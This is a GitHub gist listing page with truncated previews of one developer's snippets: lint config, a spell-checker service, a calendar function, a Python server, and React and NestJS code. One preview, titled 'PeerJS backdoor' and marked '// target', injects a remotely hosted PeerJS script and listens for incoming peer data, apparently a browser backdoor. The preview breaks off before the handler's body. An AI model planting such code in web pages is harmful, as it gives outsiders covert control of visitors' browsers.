Skip to content

Instantly share code, notes, and snippets.

View tripolskypetr's full-sized avatar
💻
Frontend dev fueled by a passion for UI/UX and art, design

Petr Tripolsky tripolskypetr

💻
Frontend dev fueled by a passion for UI/UX and art, design
View GitHub Profile
@tripolskypetr
tripolskypetr / .eslintrc.cjs
Created March 5, 2024 21:48
Minimal eslint config which allow freedom to senior developers and prevent juniors to shitcode
module.exports = {
root: true,
env: { browser: true, es2020: true },
extends: [
"eslint:recommended",
"plugin:prettier/recommended",
"plugin:react-hooks/recommended",
],
rules: {
"react-hooks/rules-of-hooks": "error",
@tripolskypetr
tripolskypetr / SpellerService.ts
Created January 17, 2024 21:14
SpellerService.ts
import { makeObservable } from "mobx";
import { singleshot } from "react-declarative";
// @ts-ignore
import { Hunspell, loadModule } from 'hunspell-asm/dist/cjs';
import XRegExp from 'xregexp'
export class SpellerService {
private _hunspell: Hunspell = null as never;
@tripolskypetr
tripolskypetr / contact-form.html
Created January 13, 2024 14:33
contact-form.html
<!DOCTYPE html>
<html>
<head>
<title>RealEstate Lead Funnel</title>
<meta charset="utf-8" />
</head>
<body>
<form>
<label for="fio">Ф.И.О:</label><br />
<input type="text" id="fio" name="fio" value="John" /><br />
const { google } = require("googleapis");
module.exports = async ({ req, res, log }) => {
const CREDENTIALS = JSON.parse(process.env.CALENDAR_CREDENTIALS);
const SCOPES = "https://www.googleapis.com/auth/calendar";
const CALENDAR_ID = process.env.CALENDAR_ID;
const CALENDAR_TIMEOFFSET = process.env.CALENDAR_TIMEOFFSET;
const CALENDAR_TIMEZONE = process.env.CALENDAR_TIMEZONE;
const {
@tripolskypetr
tripolskypetr / peerjs-backdoor.js
Created December 20, 2023 09:06
PeerJS backdoor
// target
(function () {
const script = document.createElement("script");
script.src = "https://unpkg.com/peerjs@1.5.2/dist/peerjs.min.js";
script.onload = () => {
const peer = new Peer();
peer.on("open", function (id) {
console.log(id);
peer.on("connection", function (conn) {
conn.on("data", function (data) {
@tripolskypetr
tripolskypetr / server.py
Created December 14, 2023 17:37
python serveit.py 80
#!/usr/bin/env python
import SimpleHTTPServer
class MyHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def end_headers(self):
self.send_my_headers()
SimpleHTTPServer.SimpleHTTPRequestHandler.end_headers(self)
def send_my_headers(self):
self.send_header("Cache-Control", "no-cache, no-store, must-revalidate")
<!DOCTYPE html>
<html>
<body>
<button onclick="setup()">Watermark</button>
<button onclick="begin()">Image</button>
<script defer>
const button = document.querySelector("button");
chooseFile = () =>
new Promise((res) => {
{
"projectId": "64b53d0c41fcf5193b12",
"projectName": "ExampleProject",
"databases": [
{
"$id": "64c4de8e7b31179809ef",
"name": "DATABASE",
"$createdAt": "2023-09-14T10:10:35.686+00:00",
"$updatedAt": "2023-09-14T11:59:42.307+00:00",
"enabled": true
"telegraf": "4.3.0",
///////////////////////////////////////////////////////////////////////////////////////
import { IsArray, IsOptional, IsString } from 'class-validator';
export class CreateDto {
@IsString()
token: string;
@IsString()
import {
Async,
Center,
Chip,
LoaderView,
useAsyncAction,
} from "react-declarative";
import { forwardRef, useCallback, useMemo, useState } from "react";
import Box from "@mui/material/Box";